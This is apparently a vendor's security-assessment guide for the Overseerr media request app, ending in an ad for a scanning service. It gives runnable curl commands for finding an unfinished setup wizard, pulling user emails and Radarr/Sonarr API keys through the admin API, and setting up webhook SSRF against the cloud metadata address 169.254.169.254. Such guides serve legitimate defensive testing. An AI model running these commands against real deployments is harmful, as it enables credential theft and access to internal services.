Overseerr is one of the most widely deployed self-hosted media request management applications, connecting Plex and Jellyfin servers with Radarr and Sonarr to automate movie and TV show downloads. Its security assessment covers: Overseerr's initial setup wizard at /setup uses Plex OAuth to authenticate the first user as admin — if this setup page is still accessible (not yet completed), any visitor with a Plex account can complete setup and claim the Overseerr instance as admin; Overseerr's local API key displayed in Settings > General grants full programmatic access to all Overseerr API endpoints including user management, request approval, and settings — this key is stored in the settings.json file on the server; Overseerr's webhook notification feature makes outbound HTTP POST requests to configured webhook URLs on media request events — webhook URLs targeting internal network addresses create an SSRF vector; and admin users have access to all integrated service credentials including the Radarr API key, Sonarr API key, and Tautulli API key stored in Overseerr settings. This guide covers systematic Overseerr security assessment.
# Overseerr setup page — accessible before initial configuration is complete
OVERSEERR_URL="https://requests.example.com"
# Check if setup page is still accessible
SETUP_STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
"${OVERSEERR_URL}/setup" 2>/dev/null)
echo "Setup page status: ${SETUP_STATUS}"
# If setup is not complete, check the initialization status via API
INIT_STATUS=$(curl -s "${OVERSEERR_URL}/api/v1/status" 2>/dev/null)
echo "Init status: $(echo $INIT_STATUS | python3 -c "
import json,sys
d=json.load(sys.stdin)
print(f'initialized={d.get(\"initialized\")} version={d.get(\"version\")}')
" 2>/dev/null)"
# If initialized=false, the /setup endpoint accepts a Plex OAuth flow
# Any visitor with a Plex account can complete setup and become Overseerr admin
# Check the API for unauthenticated information disclosure
curl -s "${OVERSEERR_URL}/api/v1/settings/public" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
print('Public settings accessible:')
for k,v in d.items():
print(f' {k}: {v}')
except: pass
" 2>/dev/null
# Overseerr local API key — stored in settings.json on the server
# Displayed in Settings > General in the admin panel
# Grants full access to all Overseerr API endpoints
OVERSEERR_URL="https://requests.example.com"
API_KEY="your-overseerr-api-key"
# With API key: get all users
curl -s "${OVERSEERR_URL}/api/v1/user?take=50" \
-H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
users = d.get('results',[])
print(f'Users: {len(users)}')
for u in users:
print(f' {u.get(\"displayName\",\"?\")} ({u.get(\"email\",\"?\")}) permissions={u.get(\"permissions\")}')
" 2>/dev/null
# Get all integrated service credentials (Radarr, Sonarr API keys)
curl -s "${OVERSEERR_URL}/api/v1/settings/radarr" \
-H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
services = json.load(sys.stdin)
for s in services:
print(f'Radarr: {s.get(\"hostname\")}:{s.get(\"port\")} apiKey={s.get(\"apiKey\",\"\")}')
" 2>/dev/null
curl -s "${OVERSEERR_URL}/api/v1/settings/sonarr" \
-H "X-Api-Key: ${API_KEY}" 2>/dev/null | python3 -c "
import json,sys
services = json.load(sys.stdin)
for s in services:
print(f'Sonarr: {s.get(\"hostname\")}:{s.get(\"port\")} apiKey={s.get(\"apiKey\",\"\")}')
" 2>/dev/null
# Overseerr webhook notifications make outbound HTTP POST requests
# Configure webhook URL to internal address for SSRF testing
OVERSEERR_URL="https://requests.example.com"
API_KEY="your-overseerr-api-key"
# Add webhook notification pointing to internal URL
curl -s -X POST "${OVERSEERR_URL}/api/v1/settings/notifications/webhook" \
-H "X-Api-Key: ${API_KEY}" \
-H "Content-Type: application/json" \
-d '{
"enabled": true,
"types": 2,
"options": {
"webhookUrl": "http://169.254.169.254/latest/meta-data/",
"jsonPayload": "{\"test\": true}"
}
}' 2>/dev/null
# Trigger the webhook by creating a media request
# Overseerr will POST to the webhook URL, enabling SSRF
# Check the webhook test endpoint
curl -s -X POST "${OVERSEERR_URL}/api/v1/settings/notifications/webhook/test" \
-H "X-Api-Key: ${API_KEY}" \
-H "Content-Type: application/json" 2>/dev/null
| Security Test | Method | Risk |
|---|---|---|
| Plex OAuth setup hijack at /setup | GET /setup before initialization complete — any visitor with a Plex account can complete setup via OAuth flow and claim admin access to the Overseerr instance | Critical |
| Local API key extraction from settings.json | Access settings.json on filesystem or Settings > General in admin panel — API key grants full access to user management, service credentials, and all request data | High |
| Radarr/Sonarr API key exposure via settings API | GET /api/v1/settings/radarr and /sonarr with API key — returns hostname, port, and API keys for all configured Radarr and Sonarr instances | High |
| Webhook SSRF to internal services | POST /api/v1/settings/notifications/webhook with internal URL + POST /test — Overseerr server makes outbound HTTP POST to the configured URL enabling SSRF to cloud metadata and internal services | High |
| User permission escalation via API | PUT /api/v1/user/{id} with elevated permissions bitmask — admin API key can escalate any user to admin or grant broad request management permissions | Medium |
| All request history accessible to admin | GET /api/v1/request with admin token — returns full media request history for all users including what media was requested and approved | Medium |
Ironimo tests Overseerr deployments for Plex OAuth setup hijacking via the /setup endpoint before initialization is complete, local API key exposure granting full admin API access, Radarr and Sonarr API key extraction from the settings API, webhook SSRF triggering outbound HTTP requests to internal services and cloud metadata endpoints, user permission escalation via admin API, and all request history enumeration.
Start free scan